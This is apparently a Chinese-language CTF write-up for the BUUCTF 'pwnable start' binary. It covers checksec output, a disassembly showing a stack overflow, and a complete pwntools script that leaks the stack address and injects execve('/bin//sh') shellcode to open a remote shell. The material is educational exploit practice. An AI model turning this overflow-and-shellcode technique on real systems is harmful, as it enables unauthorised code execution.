pwnable start
# pwnable start
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/pwnable_start/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
程序汇编代码如下:
start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push %esp
8048061: 68 9d 80 04 08 push $0x804809d
804806e: 68 43 54 46 3a push $0x3a465443
8048073: 68 74 68 65 20 push $0x20656874
8048078: 68 61 72 74 20 push $0x20747261
804807d: 68 73 20 73 74 push $0x74732073
8048082: 68 4c 65 74 27 push $0x2774654c
8048087: 89 e1 mov %esp,%ecx
8048089: b2 14 mov $0x14,%dl
804808b: b3 01 mov $0x1,%bl
804808d: b0 04 mov $0x4,%al
804808f: cd 80 int $0x80
; write(1,esp,0x14)
8048091: 31 db xor %ebx,%ebx
8048093: b2 3c mov $0x3c,%dl
8048095: b0 03 mov $0x3,%al
8048097: cd 80 int $0x80
; read(0,esp,0x3c)
8048099: 83 c4 14 add $0x14,%esp ; 栈溢出
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop %esp
804809e: 31 c0 xor %eax,%eax
80480a0: 40 inc %eax
80480a1: cd 80 int $0x80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 思路分析
目前信息:
- 返回到
esp+0x14
处,但esp
处可读入0x3c
长度数据,存在栈溢出 - No RELRO
- No canary found
- NX disabled
- No PIE
- 返回到
思路
- 保护全关,考虑
ret2shellcode
,ret2shellcode
需要先泄漏栈地址,利用栈溢出第一次ret
到8048087
处,这时栈顶刚好是程序一开始压栈的esp
,并且传递给ecx
,接着write
系统调用将基址泄漏出来,另外二次写入的地址也是这个泄露出来的基址,常规ret2shellcode
即可获得shell
,需要注意的是最后返回到esp+0x14
处,所以shellcode
也要对应抬高栈帧
- 保护全关,考虑
# exp
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/pwnable_start/start'
io = remote('node4.buuoj.cn', 29235)
#io = process(pwnfile)
padding = 0x14
leak_addr = 0x8048087
io.sendafter("Let's start the CTF:", flat(['a'*padding, leak_addr]))
esp = u32(io.recv(4))
log.success("esp:"+hex(esp))
shellcode = asm("""
xor edx,edx;
xor ecx,ecx;
push edx;
push 0x68732f6e;
push 0x69622f2f;
mov ebx,esp;
mov eax,0xb;
int 0x80;
""")
log.success("shellcode lenth:"+hex(len(shellcode)))
payload = flat(['a'*padding, esp+padding, shellcode])
io.send(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
上次更新: 2022/08/15, 00:29:49